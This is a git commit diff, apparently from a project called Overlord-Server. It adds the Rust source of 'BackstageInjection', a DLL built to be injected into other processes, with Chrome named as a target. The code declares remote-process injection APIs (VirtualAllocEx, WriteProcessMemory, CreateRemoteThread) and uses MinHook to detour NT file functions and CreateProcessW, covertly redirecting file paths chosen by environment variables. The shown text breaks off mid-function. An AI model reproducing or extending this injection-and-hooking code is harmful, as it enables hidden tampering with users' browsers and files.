test
This commit is contained in:
@@ -23,37 +23,8 @@ jobs:
|
|||||||
- name: Confirm release approval
|
- name: Confirm release approval
|
||||||
run: echo "Approved release ${RELEASE_VERSION}"
|
run: echo "Approved release ${RELEASE_VERSION}"
|
||||||
|
|
||||||
build-backstage-dll:
|
|
||||||
needs: approve-release
|
|
||||||
runs-on: windows-latest
|
|
||||||
permissions:
|
|
||||||
contents: read
|
|
||||||
steps:
|
|
||||||
- name: Validate Release Version
|
|
||||||
shell: pwsh
|
|
||||||
run: |
|
|
||||||
if ($env:RELEASE_VERSION -notmatch '^\d+\.\d+\.\d+$') {
|
|
||||||
throw "Release version must be strict semver like 1.2.3; got '$env:RELEASE_VERSION'"
|
|
||||||
}
|
|
||||||
|
|
||||||
- name: Checkout repository
|
|
||||||
uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
|
||||||
|
|
||||||
- name: Build BackstageInjection DLL with MSVC
|
|
||||||
shell: cmd
|
|
||||||
run: call scripts\build-backstage-dll.bat
|
|
||||||
|
|
||||||
- name: Upload backstage DLLs
|
|
||||||
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
|
|
||||||
with:
|
|
||||||
name: backstage-dll
|
|
||||||
path: |
|
|
||||||
Overlord-Server/dist-clients/BackstageInjection.x64.dll
|
|
||||||
if-no-files-found: error
|
|
||||||
retention-days: 1
|
|
||||||
|
|
||||||
build-and-push:
|
build-and-push:
|
||||||
needs: build-backstage-dll
|
needs: approve-release
|
||||||
name: Build and push (${{ matrix.platform }})
|
name: Build and push (${{ matrix.platform }})
|
||||||
runs-on: ${{ matrix.runner }}
|
runs-on: ${{ matrix.runner }}
|
||||||
timeout-minutes: 45
|
timeout-minutes: 45
|
||||||
@@ -75,12 +46,6 @@ jobs:
|
|||||||
- name: Checkout repository
|
- name: Checkout repository
|
||||||
uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||||
|
|
||||||
- name: Download backstage DLLs
|
|
||||||
uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4
|
|
||||||
with:
|
|
||||||
name: backstage-dll
|
|
||||||
path: Overlord-Server/dist-clients
|
|
||||||
|
|
||||||
- name: Read Source Version
|
- name: Read Source Version
|
||||||
id: srcver
|
id: srcver
|
||||||
shell: bash
|
shell: bash
|
||||||
|
|||||||
@@ -0,0 +1,7 @@
|
|||||||
|
# Statically link the CRT so the injected DLL has no VCRUNTIME/UCRT DLL
|
||||||
|
# dependency at runtime (Chrome and other targets may not have it preloaded).
|
||||||
|
[target.x86_64-pc-windows-msvc]
|
||||||
|
rustflags = ["-C", "target-feature=+crt-static"]
|
||||||
|
|
||||||
|
[target.x86_64-pc-windows-gnu]
|
||||||
|
rustflags = ["-C", "target-feature=+crt-static"]
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
/target
|
||||||
Generated
+127
@@ -0,0 +1,127 @@
|
|||||||
|
# This file is automatically @generated by Cargo.
|
||||||
|
# It is not intended for manual editing.
|
||||||
|
version = 4
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "backstage-injection-rs"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"minhook",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cc"
|
||||||
|
version = "1.4.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "509591b7bcd67f4ef775afad7662703b4935daaa6ec0e5605cfb1090b32a2b6d"
|
||||||
|
dependencies = [
|
||||||
|
"find-msvc-tools",
|
||||||
|
"shlex",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "find-msvc-tools"
|
||||||
|
version = "0.1.11"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d45db016d36b838f563236e9193d0ee6ce38f3f68b6c94e914b4929c96bbb890"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "log"
|
||||||
|
version = "0.4.33"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0ceec5bc11778974d1bcb055b18002eba7f4b3518b6a0081b3af5f21666da9ad"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "minhook"
|
||||||
|
version = "0.9.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "455e088cb1600ffa5f1524c9702c9eeb0ba3604e0f4932efa165b99973272a8d"
|
||||||
|
dependencies = [
|
||||||
|
"cc",
|
||||||
|
"tracing",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "once_cell"
|
||||||
|
version = "1.21.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pin-project-lite"
|
||||||
|
version = "0.2.17"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "proc-macro2"
|
||||||
|
version = "1.0.107"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9"
|
||||||
|
dependencies = [
|
||||||
|
"unicode-ident",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "quote"
|
||||||
|
version = "1.0.47"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "shlex"
|
||||||
|
version = "2.0.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "syn"
|
||||||
|
version = "2.0.119"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"unicode-ident",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tracing"
|
||||||
|
version = "0.1.44"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "63e71662fa4b2a2c3a26f570f037eb95bb1f85397f3cd8076caed2f026a6d100"
|
||||||
|
dependencies = [
|
||||||
|
"log",
|
||||||
|
"pin-project-lite",
|
||||||
|
"tracing-attributes",
|
||||||
|
"tracing-core",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tracing-attributes"
|
||||||
|
version = "0.1.31"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7490cfa5ec963746568740651ac6781f701c9c5ea257c58e057f3ba8cf69e8da"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tracing-core"
|
||||||
|
version = "0.1.36"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a"
|
||||||
|
dependencies = [
|
||||||
|
"once_cell",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "unicode-ident"
|
||||||
|
version = "1.0.24"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75"
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
[package]
|
||||||
|
name = "backstage-injection-rs"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
|
||||||
|
[lib]
|
||||||
|
name = "BackstageInjection"
|
||||||
|
crate-type = ["cdylib"]
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
minhook = "0.9.0"
|
||||||
|
|
||||||
|
[profile.release]
|
||||||
|
opt-level = 3
|
||||||
|
lto = true
|
||||||
|
codegen-units = 1
|
||||||
|
panic = "unwind"
|
||||||
|
strip = true
|
||||||
@@ -0,0 +1,222 @@
|
|||||||
|
#![allow(non_snake_case)]
|
||||||
|
#![allow(non_camel_case_types)]
|
||||||
|
#![allow(dead_code)]
|
||||||
|
|
||||||
|
use core::ffi::c_void;
|
||||||
|
|
||||||
|
// ---- NTSTATUS ----
|
||||||
|
pub const STATUS_UNSUCCESSFUL: i32 = 0xC000_0001u32 as i32;
|
||||||
|
|
||||||
|
// ---- Memory allocation constants ----
|
||||||
|
pub const MEM_COMMIT: u32 = 0x1000;
|
||||||
|
pub const MEM_RESERVE: u32 = 0x2000;
|
||||||
|
pub const PAGE_READWRITE: u32 = 0x04;
|
||||||
|
|
||||||
|
// ---- CreateProcess flags ----
|
||||||
|
pub const CREATE_SUSPENDED: u32 = 0x0000_0004;
|
||||||
|
|
||||||
|
// ---- CompareStringOrdinal results ----
|
||||||
|
pub const CSTR_LESS_THAN: i32 = 1;
|
||||||
|
pub const CSTR_EQUAL: i32 = 2;
|
||||||
|
pub const CSTR_GREATER_THAN: i32 = 3;
|
||||||
|
|
||||||
|
// ---- Log-file API constants ----
|
||||||
|
pub const FILE_APPEND_DATA: u32 = 0x0000_0004;
|
||||||
|
pub const FILE_SHARE_READ: u32 = 0x1;
|
||||||
|
pub const FILE_SHARE_WRITE: u32 = 0x2;
|
||||||
|
pub const FILE_SHARE_DELETE: u32 = 0x4;
|
||||||
|
pub const OPEN_ALWAYS: u32 = 4;
|
||||||
|
pub const INVALID_HANDLE_VALUE: usize = usize::MAX;
|
||||||
|
|
||||||
|
// ---- WaitForSingleObject ----
|
||||||
|
pub const WAIT_OBJECT_0: u32 = 0;
|
||||||
|
pub const WAIT_TIMEOUT: u32 = 0x0000_0102;
|
||||||
|
pub const WAIT_FAILED: u32 = 0xFFFF_FFFF;
|
||||||
|
pub const INFINITE: u32 = 0xFFFF_FFFF;
|
||||||
|
|
||||||
|
// ---- FILE_INFORMATION_CLASS values used by the hook logic ----
|
||||||
|
pub const FILE_RENAME_INFORMATION: u32 = 10;
|
||||||
|
pub const FILE_RENAME_INFORMATION_EX: u32 = 65;
|
||||||
|
|
||||||
|
// ---- Rename info header size (BOOLEAN/ULONG + padding + HANDLE + ULONG) ----
|
||||||
|
pub const RENAME_INFO_HEADER_WCHARS: usize = 10;
|
||||||
|
pub const RENAME_INFO_HEADER_BYTES: usize = 20;
|
||||||
|
|
||||||
|
// ---- NT structures (x64 layout, matching the C reference) ----
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Clone, Copy)]
|
||||||
|
pub struct UnicodeString {
|
||||||
|
pub Length: u16,
|
||||||
|
pub MaximumLength: u16,
|
||||||
|
pub Buffer: *mut u16,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Clone, Copy)]
|
||||||
|
pub struct ObjectAttributes {
|
||||||
|
pub Length: u32,
|
||||||
|
pub RootDirectory: usize,
|
||||||
|
pub ObjectName: *mut UnicodeString,
|
||||||
|
pub Attributes: u32,
|
||||||
|
pub SecurityDescriptor: *mut c_void,
|
||||||
|
pub SecurityQualityOfService: *mut c_void,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Clone, Copy)]
|
||||||
|
pub struct IoStatusBlock {
|
||||||
|
pub Status: usize,
|
||||||
|
pub Information: usize,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Clone, Copy)]
|
||||||
|
pub struct StartupInfoW {
|
||||||
|
pub cb: u32,
|
||||||
|
pub lpReserved: *mut u16,
|
||||||
|
pub lpDesktop: *mut u16,
|
||||||
|
pub lpTitle: *mut u16,
|
||||||
|
pub dwX: u32,
|
||||||
|
pub dwY: u32,
|
||||||
|
pub dwXSize: u32,
|
||||||
|
pub dwYSize: u32,
|
||||||
|
pub dwXCountChars: u32,
|
||||||
|
pub dwYCountChars: u32,
|
||||||
|
pub dwFillAttribute: u32,
|
||||||
|
pub dwFlags: u32,
|
||||||
|
pub wShowWindow: u16,
|
||||||
|
pub cbReserved2: u16,
|
||||||
|
pub lpReserved2: *mut u8,
|
||||||
|
pub hStdInput: usize,
|
||||||
|
pub hStdOutput: usize,
|
||||||
|
pub hStdError: usize,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Clone, Copy)]
|
||||||
|
pub struct ProcessInformation {
|
||||||
|
pub hProcess: usize,
|
||||||
|
pub hThread: usize,
|
||||||
|
pub dwProcessId: u32,
|
||||||
|
pub dwThreadId: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- NT API function pointer types ----
|
||||||
|
pub type NtCreateFileFn = extern "system" fn(
|
||||||
|
*mut usize, // PHANDLE FileHandle
|
||||||
|
u32, // ULONG DesiredAccess
|
||||||
|
*mut ObjectAttributes,
|
||||||
|
*mut IoStatusBlock,
|
||||||
|
*mut i64, // PLARGE_INTEGER AllocationSize
|
||||||
|
u32, // ULONG FileAttributes
|
||||||
|
u32, // ULONG ShareAccess
|
||||||
|
u32, // ULONG CreateDisposition
|
||||||
|
u32, // ULONG CreateOptions
|
||||||
|
*mut c_void, // PVOID EaBuffer
|
||||||
|
u32, // ULONG EaLength
|
||||||
|
) -> i32;
|
||||||
|
|
||||||
|
pub type NtOpenFileFn = extern "system" fn(
|
||||||
|
*mut usize,
|
||||||
|
u32,
|
||||||
|
*mut ObjectAttributes,
|
||||||
|
*mut IoStatusBlock,
|
||||||
|
u32,
|
||||||
|
u32,
|
||||||
|
) -> i32;
|
||||||
|
|
||||||
|
pub type NtDeleteFileFn = extern "system" fn(*mut ObjectAttributes) -> i32;
|
||||||
|
|
||||||
|
pub type NtSetInformationFileFn = extern "system" fn(
|
||||||
|
usize, // HANDLE FileHandle
|
||||||
|
*mut IoStatusBlock,
|
||||||
|
*mut c_void, // PVOID FileInformation
|
||||||
|
u32, // ULONG Length
|
||||||
|
u32, // FILE_INFORMATION_CLASS
|
||||||
|
) -> i32;
|
||||||
|
|
||||||
|
pub type NtQueryAttributesFileFn = extern "system" fn(*mut ObjectAttributes, *mut c_void) -> i32;
|
||||||
|
|
||||||
|
pub type NtQueryFullAttributesFileFn = extern "system" fn(*mut ObjectAttributes, *mut c_void) -> i32;
|
||||||
|
|
||||||
|
pub type CreateProcessWFn = extern "system" fn(
|
||||||
|
*const u16, // LPCWSTR lpApplicationName
|
||||||
|
*mut u16, // LPWSTR lpCommandLine
|
||||||
|
*mut c_void, // LPSECURITY_ATTRIBUTES lpProcessAttributes
|
||||||
|
*mut c_void, // LPSECURITY_ATTRIBUTES lpThreadAttributes
|
||||||
|
i32, // BOOL bInheritHandles
|
||||||
|
u32, // DWORD dwCreationFlags
|
||||||
|
*mut c_void, // LPVOID lpEnvironment
|
||||||
|
*const u16, // LPCWSTR lpCurrentDirectory
|
||||||
|
*mut StartupInfoW, // LPSTARTUPINFOW lpStartupInfo
|
||||||
|
*mut ProcessInformation,
|
||||||
|
) -> i32;
|
||||||
|
|
||||||
|
// ---- kernel32 / ntdll imports ----
|
||||||
|
|
||||||
|
#[link(name = "kernel32")]
|
||||||
|
extern "system" {
|
||||||
|
pub fn GetModuleHandleW(lpModuleName: *const u16) -> usize;
|
||||||
|
pub fn GetModuleFileNameW(hModule: usize, lpFilename: *mut u16, nSize: u32) -> u32;
|
||||||
|
pub fn GetProcAddress(hModule: usize, lpProcName: *const u8) -> usize;
|
||||||
|
pub fn GetEnvironmentVariableW(
|
||||||
|
lpName: *const u16,
|
||||||
|
lpBuffer: *mut u16,
|
||||||
|
nSize: u32,
|
||||||
|
) -> u32;
|
||||||
|
pub fn DisableThreadLibraryCalls(hLibModule: usize) -> i32;
|
||||||
|
pub fn CompareStringOrdinal(
|
||||||
|
lpString1: *const u16,
|
||||||
|
cchCount1: i32,
|
||||||
|
lpString2: *const u16,
|
||||||
|
cchCount2: i32,
|
||||||
|
bIgnoreCase: i32,
|
||||||
|
) -> i32;
|
||||||
|
pub fn VirtualAllocEx(
|
||||||
|
hProcess: usize,
|
||||||
|
lpAddress: usize,
|
||||||
|
dwSize: usize,
|
||||||
|
flAllocationType: u32,
|
||||||
|
flProtect: u32,
|
||||||
|
) -> usize;
|
||||||
|
pub fn WriteProcessMemory(
|
||||||
|
hProcess: usize,
|
||||||
|
lpBaseAddress: usize,
|
||||||
|
lpBuffer: *const c_void,
|
||||||
|
nSize: usize,
|
||||||
|
lpNumberOfBytesWritten: *mut usize,
|
||||||
|
) -> i32;
|
||||||
|
pub fn CreateRemoteThread(
|
||||||
|
hProcess: usize,
|
||||||
|
lpThreadAttributes: *mut c_void,
|
||||||
|
dwStackSize: usize,
|
||||||
|
lpStartAddress: usize,
|
||||||
|
lpParameter: usize,
|
||||||
|
dwCreationFlags: u32,
|
||||||
|
lpThreadId: *mut u32,
|
||||||
|
) -> usize;
|
||||||
|
pub fn WaitForSingleObject(hHandle: usize, dwMilliseconds: u32) -> u32;
|
||||||
|
pub fn GetExitCodeThread(hThread: usize, lpExitCode: *mut u32) -> i32;
|
||||||
|
pub fn CloseHandle(hObject: usize) -> i32;
|
||||||
|
pub fn ResumeThread(hThread: usize) -> u32;
|
||||||
|
pub fn Sleep(dwMilliseconds: u32);
|
||||||
|
pub fn GetCurrentProcessId() -> u32;
|
||||||
|
pub fn CreateDirectoryW(lpPathName: *const u16, lpSecurityAttributes: *mut c_void) -> i32;
|
||||||
|
pub fn CreateFileW(
|
||||||
|
lpFileName: *const u16,
|
||||||
|
dwDesiredAccess: u32,
|
||||||
|
dwShareMode: u32,
|
||||||
|
lpSecurityAttributes: *mut c_void,
|
||||||
|
dwCreationDisposition: u32,
|
||||||
|
dwFlagsAndAttributes: u32,
|
||||||
|
hTemplateFile: usize,
|
||||||
|
) -> usize;
|
||||||
|
pub fn WriteFile(
|
||||||
|
hFile: usize,
|
||||||
|
lpBuffer: *const c_void,
|
||||||
|
nNumberOfBytesToWrite: u32,
|
||||||
|
lpNumberOfBytesWritten: *mut u32,
|
||||||
|
lpOverlapped: *mut c_void,
|
||||||
|
) -> i32;
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
//! Redirect configuration read from environment variables on attach.
|
||||||
|
|
||||||
|
use crate::abi::GetEnvironmentVariableW;
|
||||||
|
|
||||||
|
const ENV_BUFFER_WCHARS: u32 = 2048;
|
||||||
|
|
||||||
|
#[derive(Default, Clone)]
|
||||||
|
pub struct HookConfig {
|
||||||
|
pub search: Vec<u16>,
|
||||||
|
pub replace: Vec<u16>,
|
||||||
|
}
|
||||||
|
|
||||||
|
const RDI_SEARCH_PATH: &str = "RDI_SEARCH_PATH";
|
||||||
|
const RDI_REPLACE_PATH: &str = "RDI_REPLACE_PATH";
|
||||||
|
|
||||||
|
pub fn load() -> HookConfig {
|
||||||
|
HookConfig {
|
||||||
|
search: read_env(RDI_SEARCH_PATH),
|
||||||
|
replace: read_env(RDI_REPLACE_PATH),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn read_env(name: &str) -> Vec<u16> {
|
||||||
|
let name = name.encode_utf16().chain(core::iter::once(0)).collect::<Vec<u16>>();
|
||||||
|
let mut buf = [0u16; ENV_BUFFER_WCHARS as usize];
|
||||||
|
unsafe {
|
||||||
|
let len = GetEnvironmentVariableW(name.as_ptr(), buf.as_mut_ptr(), ENV_BUFFER_WCHARS);
|
||||||
|
if len == 0 || len >= ENV_BUFFER_WCHARS {
|
||||||
|
return Vec::new();
|
||||||
|
}
|
||||||
|
buf[..len as usize].to_vec()
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,531 @@
|
|||||||
|
//! MinHook installation/removal and every detour function.
|
||||||
|
|
||||||
|
use core::ffi::c_void;
|
||||||
|
use std::slice;
|
||||||
|
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
|
||||||
|
use std::sync::OnceLock;
|
||||||
|
|
||||||
|
use minhook::MinHook;
|
||||||
|
|
||||||
|
use crate::abi::{
|
||||||
|
self, CreateProcessWFn, IoStatusBlock, NtCreateFileFn, NtDeleteFileFn, NtOpenFileFn,
|
||||||
|
NtQueryAttributesFileFn, NtQueryFullAttributesFileFn, NtSetInformationFileFn, ObjectAttributes,
|
||||||
|
ProcessInformation, StartupInfoW, UnicodeString,
|
||||||
|
};
|
||||||
|
use crate::config::HookConfig;
|
||||||
|
use crate::inject;
|
||||||
|
use crate::util::{self, UNICODE_STRING_MAX_WCHARS};
|
||||||
|
use crate::dbg_log;
|
||||||
|
|
||||||
|
static HOOKS_CONFIG: OnceLock<HookConfig> = OnceLock::new();
|
||||||
|
|
||||||
|
static HOOKS_INITIALIZED: AtomicBool = AtomicBool::new(false);
|
||||||
|
|
||||||
|
static ORIG_NT_CREATE_FILE: AtomicUsize = AtomicUsize::new(0);
|
||||||
|
static ORIG_NT_OPEN_FILE: AtomicUsize = AtomicUsize::new(0);
|
||||||
|
static ORIG_NT_DELETE_FILE: AtomicUsize = AtomicUsize::new(0);
|
||||||
|
static ORIG_NT_SET_INFORMATION_FILE: AtomicUsize = AtomicUsize::new(0);
|
||||||
|
static ORIG_NT_QUERY_ATTRIBUTES_FILE: AtomicUsize = AtomicUsize::new(0);
|
||||||
|
static ORIG_NT_QUERY_FULL_ATTRIBUTES_FILE: AtomicUsize = AtomicUsize::new(0);
|
||||||
|
static ORIG_CREATE_PROCESS_W: AtomicUsize = AtomicUsize::new(0);
|
||||||
|
|
||||||
|
static CALL_SEQ: AtomicUsize = AtomicUsize::new(0);
|
||||||
|
|
||||||
|
unsafe fn read_oa_path(oa: *mut ObjectAttributes) -> Vec<u16> {
|
||||||
|
if oa.is_null() {
|
||||||
|
return Vec::new();
|
||||||
|
}
|
||||||
|
let name = unsafe { &*oa }.ObjectName;
|
||||||
|
if name.is_null() {
|
||||||
|
return Vec::new();
|
||||||
|
}
|
||||||
|
let name = unsafe { &*name };
|
||||||
|
if name.Buffer.is_null() {
|
||||||
|
return Vec::new();
|
||||||
|
}
|
||||||
|
let len = (name.Length as usize) / 2;
|
||||||
|
if len == 0 {
|
||||||
|
return Vec::new();
|
||||||
|
}
|
||||||
|
unsafe { slice::from_raw_parts(name.Buffer, len).to_vec() }
|
||||||
|
}
|
||||||
|
|
||||||
|
fn redirect_config() -> Option<&'static HookConfig> {
|
||||||
|
let cfg = HOOKS_CONFIG.get()?;
|
||||||
|
if cfg.search.is_empty() || cfg.replace.is_empty() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
Some(cfg)
|
||||||
|
}
|
||||||
|
|
||||||
|
struct ObjectNameRedirect {
|
||||||
|
oa: *mut ObjectAttributes,
|
||||||
|
original: *mut UnicodeString,
|
||||||
|
new_string: Box<UnicodeString>,
|
||||||
|
_path: Vec<u16>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Drop for ObjectNameRedirect {
|
||||||
|
fn drop(&mut self) {
|
||||||
|
unsafe {
|
||||||
|
(*self.oa).ObjectName = self.original;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe fn object_redirect(oa: *mut ObjectAttributes) -> Option<ObjectNameRedirect> {
|
||||||
|
if oa.is_null() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let oa_ref = unsafe { &mut *oa };
|
||||||
|
if oa_ref.ObjectName.is_null() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let name = unsafe { &*oa_ref.ObjectName };
|
||||||
|
if name.Buffer.is_null() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let cfg = redirect_config()?;
|
||||||
|
|
||||||
|
let path_len = (name.Length as usize) / 2;
|
||||||
|
if path_len == 0 {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let path = unsafe { slice::from_raw_parts(name.Buffer, path_len) };
|
||||||
|
|
||||||
|
if !util::needs_redirection(path, &cfg.search) {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let new_path = util::replace_path(path, &cfg.search, &cfg.replace)?;
|
||||||
|
if new_path.len() > UNICODE_STRING_MAX_WCHARS {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut new_string = Box::new(UnicodeString {
|
||||||
|
Length: (new_path.len() * 2) as u16,
|
||||||
|
MaximumLength: ((new_path.len() + 1) * 2) as u16,
|
||||||
|
Buffer: core::ptr::null_mut(),
|
||||||
|
});
|
||||||
|
new_string.Buffer = new_path.as_ptr() as *mut u16;
|
||||||
|
|
||||||
|
let guard = ObjectNameRedirect {
|
||||||
|
oa,
|
||||||
|
original: oa_ref.ObjectName,
|
||||||
|
new_string,
|
||||||
|
_path: new_path,
|
||||||
|
};
|
||||||
|
oa_ref.ObjectName = (&*guard.new_string) as *const UnicodeString as *mut UnicodeString;
|
||||||
|
dbg_log!(
|
||||||
|
"redirect: '{}' -> '{}'",
|
||||||
|
crate::log::display_wide(path),
|
||||||
|
crate::log::display_wide(&guard._path),
|
||||||
|
);
|
||||||
|
Some(guard)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn rename_redirect(
|
||||||
|
file_information: *mut c_void,
|
||||||
|
class: u32,
|
||||||
|
length: u32,
|
||||||
|
) -> Option<Vec<u8>> {
|
||||||
|
if !(class == abi::FILE_RENAME_INFORMATION || class == abi::FILE_RENAME_INFORMATION_EX) {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
if file_information.is_null() || (length as usize) < abi::RENAME_INFO_HEADER_BYTES {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let cfg = redirect_config()?;
|
||||||
|
|
||||||
|
let p = file_information as *const u8;
|
||||||
|
let header = unsafe { slice::from_raw_parts(p, abi::RENAME_INFO_HEADER_BYTES) };
|
||||||
|
let name_len_bytes =
|
||||||
|
u32::from_le_bytes([header[16], header[17], header[18], header[19]]);
|
||||||
|
if name_len_bytes == 0 {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let chars = (name_len_bytes as usize) / 2;
|
||||||
|
if abi::RENAME_INFO_HEADER_BYTES + chars > length as usize {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let path = unsafe {
|
||||||
|
slice::from_raw_parts(p.add(abi::RENAME_INFO_HEADER_BYTES) as *const u16, chars)
|
||||||
|
};
|
||||||
|
if !util::needs_redirection(path, &cfg.search) {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let new_path = util::replace_path(path, &cfg.search, &cfg.replace)?;
|
||||||
|
|
||||||
|
let new_len_bytes = new_path.len() * 2;
|
||||||
|
let mut buf = Vec::with_capacity(abi::RENAME_INFO_HEADER_BYTES + new_len_bytes);
|
||||||
|
buf.extend_from_slice(header);
|
||||||
|
buf[16..20].copy_from_slice(&(new_len_bytes as u32).to_le_bytes());
|
||||||
|
for &unit in &new_path {
|
||||||
|
buf.extend_from_slice(&unit.to_le_bytes());
|
||||||
|
}
|
||||||
|
dbg_log!(
|
||||||
|
"rename redirect class={class}: '{}' -> '{}'",
|
||||||
|
crate::log::display_wide(path),
|
||||||
|
crate::log::display_wide(&new_path),
|
||||||
|
);
|
||||||
|
Some(buf)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub extern "system" fn detour_nt_create_file(
|
||||||
|
file_handle: *mut usize,
|
||||||
|
desired_access: u32,
|
||||||
|
object_attributes: *mut ObjectAttributes,
|
||||||
|
io_status_block: *mut IoStatusBlock,
|
||||||
|
allocation_size: *mut i64,
|
||||||
|
file_attributes: u32,
|
||||||
|
share_access: u32,
|
||||||
|
create_disposition: u32,
|
||||||
|
create_options: u32,
|
||||||
|
ea_buffer: *mut c_void,
|
||||||
|
ea_length: u32,
|
||||||
|
) -> i32 {
|
||||||
|
let orig_addr = ORIG_NT_CREATE_FILE.load(Ordering::SeqCst);
|
||||||
|
if orig_addr == 0 {
|
||||||
|
return abi::STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
let seq = CALL_SEQ.fetch_add(1, Ordering::Relaxed);
|
||||||
|
let orig_path = unsafe { read_oa_path(object_attributes) };
|
||||||
|
let _guard = if HOOKS_INITIALIZED.load(Ordering::SeqCst) {
|
||||||
|
unsafe { object_redirect(object_attributes) }
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
};
|
||||||
|
let redirected = _guard.is_some();
|
||||||
|
let orig: NtCreateFileFn = unsafe { core::mem::transmute(orig_addr) };
|
||||||
|
let status = orig(
|
||||||
|
file_handle,
|
||||||
|
desired_access,
|
||||||
|
object_attributes,
|
||||||
|
io_status_block,
|
||||||
|
allocation_size,
|
||||||
|
file_attributes,
|
||||||
|
share_access,
|
||||||
|
create_disposition,
|
||||||
|
create_options,
|
||||||
|
ea_buffer,
|
||||||
|
ea_length,
|
